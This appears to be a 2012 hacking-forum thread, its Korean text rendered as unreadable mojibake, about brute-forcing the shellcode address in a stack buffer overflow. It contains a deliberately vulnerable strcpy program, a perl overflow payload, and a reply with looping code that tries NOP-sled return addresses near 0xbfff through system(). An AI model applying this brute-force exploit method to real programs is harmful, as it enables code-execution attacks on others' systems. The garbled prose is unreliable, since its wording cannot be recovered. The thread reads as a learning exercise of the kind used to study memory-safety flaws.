½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   hihi2623
   ¹öÆÛ¿À¹öÇ÷οì brute force ¿¡°üÇØ¼­...

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1616 [º¹»ç]


¹öÆÛ¿À¹öÇ÷οì½Ã ¸¸¾à test ¶ó´Â Ãë¾àÇÁ·Î±×·¥ÀÌ ÀÖ½À´Ï´Ù.

--test---
int main(int argc,char* argv[])
{
   char buffer[40];
   strcpy(buffer,argv[1]);
}

±Ùµ¥ ÀÌ ÇÁ·Î±×·¥À» °ø°ÝÇϱâÀ§Çؼ­

./test `perl -e 'print "a"x40,"\x??\x??\x??\x??"'`
                    --½©ÄÚµå+NOP-- + ½©ÄÚµåÀÇ ÁÖ¼Ò°ª

ÀÌ·±½ÄÀ¸·Î ¹öÆÛ¿À¹öÇ÷ο츦 ½ÃŰÀݾƿä?

±Ùµ¥ ÀÌ°É ½©Äڵ尡 µé¾îÀÖ´Â ¸Þ¸ð¸®ÁÖ¼Ò¸¦ ã´Â brute force ¾îÅÃÀ» ÇÏ´Â ÇÁ·Î±×·¥À» Â¥·Á¸é ¾î¶»°Ô ÇØ¾ßÇϳª¿ä??

¹°·Ð gdb·Î ºÐ¼®Çؼ­ ÇÒÁÙÀº ¾Ð´Ï´Ù¸¸... brute force °ø°ÝÀ» ÇÒ¶§ ¾î¶»°Ô ¼Ò½º¸¦ Â¥´ÂÁö ±Ã±ÝÇØ¼­ ±×·´´Ï´Ù¤Ð¤Ð

char* ptr=0xa;
char temp[100];
sprintf(temp,"./test `perl -e 'print \"%c\"'`",ptr);
system(temp);

Á÷Á¢ Ä¡´Â°Å¶û ½©¿¡ Àü´ÞµÇ´Â°Ô ´Ù¸¥°Å °°½À´Ï´Ù..¤Ð¤Ð  Á¦¹ß Àú¿¡°Ô Áö½ÄÀ» ¾Ë·ÁÁÖ¼¼¿ä~

`perl -e 'print "\x??\x??\x??\x??"'`   <- À̰Ŷû ¶È°°Àº ±â´ÉÀ» ÇÏ°í ¹°À½Ç¥¸¦ ·£´ýÀ¸·Î µ¹¸±¼öÀÖ´Â

ÇÁ·Î±×·¥ ¼Ò½º¸¦ ÂÍ Â¥ÁÖ¼¼¿ä

  Hit : 3751     Date : 2012/10/15 06:57



    
cd80 \x~~ Çü½ÄÀ¸·Î Àü´ÞÇÏ´Â°Ô Å°º¸µå·Î Ç¥Çö ºÒ°¡´ÉÇÑ ¹®ÀÚ¸¦ »ý¼ºÇØ ÇÁ·Î±×·¥¿¡ ³Ö¾îÁÖ·Á°í Çϴ°ÍÀä
°á±¹ \x \x \x ÇϳªÇϳª°¡ 1¹ÙÀÌÆ® char ÇüÀÔ´Ï´Ù
while ¹® µ¹¸®½Ã¸é¼­
½ºÅÃÀ¸·Î ¸®ÅÏÇÏ´Â °æ¿ì ¾Õ µÎ¹ÙÀÌÆ®°¡ 0xbfff ȤÀº 0xbffe ÀÎ°Ô ´ëºÎºÐÀ̱⠶§¹®¿¡ (·¹µåÇÞ 6.2 ±âÁØ)
¶Ç ±× ¾Æ·¡¿¡ while µÎ°³³ª for¹® µÎ°³¸¦ »ç¿ëÇϼż­
i=255
j=255
for i > 0
for j > 0
sprintf(temp, "./test `perl -e 'print \"\\x90\" x 200, \"%c%c\\xff\\xbf\"'`", i, j);
system(temp);
if (j=1){ i = 255; j -=1; }

end for j
end for i

ÀÌ·±½ÄÀ¸·Î ÇÏ½Ã¸é µÉ°Í°°½À´Ï´Ù
2012/10/15